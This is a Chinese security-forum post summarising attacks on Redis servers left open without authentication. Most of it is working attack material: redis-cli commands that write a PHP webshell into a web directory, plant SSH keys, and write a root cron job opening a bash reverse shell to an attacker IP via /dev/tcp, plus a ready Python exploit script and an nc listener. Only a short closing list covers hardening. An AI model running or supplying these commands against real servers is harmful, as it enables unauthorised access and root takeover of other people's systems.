搜索
查看: 759|回复: 0

REDIS安全小结

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-8-8 10:46:30 | 显示全部楼层 |阅读模式

=Start=

缘由:

近年来,随着Redis的流行,越来越多的安全研究人员注意到了Redis的安全问题,并通过Redis发起攻击。虽然我不做那方面,但是了解一下和Redis相关的安全攻击手段也是很有必要的。

正文:和Redis相关的安全问题:
  • 远程未授权访问

利用条件:默认情况下如果没有用「bind指令」对可连接IP做限制,则会出现「远程未授权访问」的情况,易被攻击者用来获取敏感信息以及进行进一步攻击。

利用方式:本地直接用redis-cli或图形化的工具连接远程的Redis数据库。

  • 获取Webshell
  1. 192.168.63.130:6379> config set dir /var/www/html/
  2. OK
  3. 192.168.63.130:6379> config set dbfilename shell.php
  4. OK
  5. 192.168.63.130:6379> set x "<?php phpinfo();?>"   (或者是set x "?php phpinfo();?")
  6. OK
  7. 192.168.63.130:6379> save
  8. OK
复制代码


利用条件:redis远程未授权访问,知道Web目录的绝对路径,且运行redis的用户有对Web目录的写权限。

利用方式:连上远端未授权访问的redis并用命令向Web目录写入一句话木马(也可以是大马),然后本地用菜刀连接。

  • 获取SSH连接(https://www.chinabaiker.com/thread-2359-1-1.html)

利用条件:redis远程未授权访问,知道运行redis的用户名,且运行redis的用户可以进行SSH连接。

利用方式:在本地生产公私钥文件,然后连上远端redis并将自己的公钥写入远端服务器的 authotrized_keys 文件里,然后攻击者即可远程利用自己的私钥登录该服务器。

  • 通过Redis提权

利用条件:已获取一个低权限的Webshell,服务器上运行着本地可访问的redis,且运行redis的用户权限较高。

利用方式:通过Webshell操作redis写SSH key文件以进行提权操作。

  • 其他的一些利用(Redis+crontab)
  1. $ redis-cli config set dir /var/spool/cron/
  2. $ redis-cli config set dbfilename root
  3. $ echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/10.2.11.11/8443 0>&1 \n\n" | redis-cli -x set 1
  4. $ redis-cli save

  5. [user@10.2.11.11 ~]$ nc -lvv 8443
复制代码
  • 前提:
    1.redis由root用户启动。
    2.开启cron的时候,/var/spool/cron linux机器下默认的计划任务,linux会定时去执行里面的任务。
    启动服务 :/sbin/service crond start 或 /etc/init.d/crond start(centos系列)    sudo /etc/init.d/cron start (ubuntu系列)
    一.windows下
    config set dir /var/spool/cron
    config set dbfilename root
    set 1 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"
    save
    二.linux下
    echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n"|redis-cli -h 192.168.118.129 -x set 1
    redis-cli -h 192.168.118.129 config set dir /var/spool/cron/
    redis-cli -h 192.168.118.129 config set dbfilename root
    redis-cli -h 192.168.118.129 save
    三.再贴一段python代码
    1. import redis
    2. def shell_exploit():
    3.     try:
    4.         r =redis.StrictRedis(host='192.168.118.129',port=6379,db=0,socket_timeout=10)
    5.         r.set(1, '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/your_ip/3333 0>&1\n\n')
    6.         r.config_set('dir','/var/spool/cron')
    7.         r.config_set('dbfilename','root')
    8.         r.save()
    9.         print "success!"
    10.     except:
    11.         print "fail!"
    12.         pass
    13. shell_exploit()
    复制代码
    反弹成功,root权限!
  • Redis安全配置
  • 以低权限启动
  • 设置bind指令,限定可以连接Redis服务器的IP
  • 修改Redis的默认端口;
  • 设置密码
  • 禁用部分危险命令
  • 如果必需要对外提供服务的话,设置iptables规则;


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表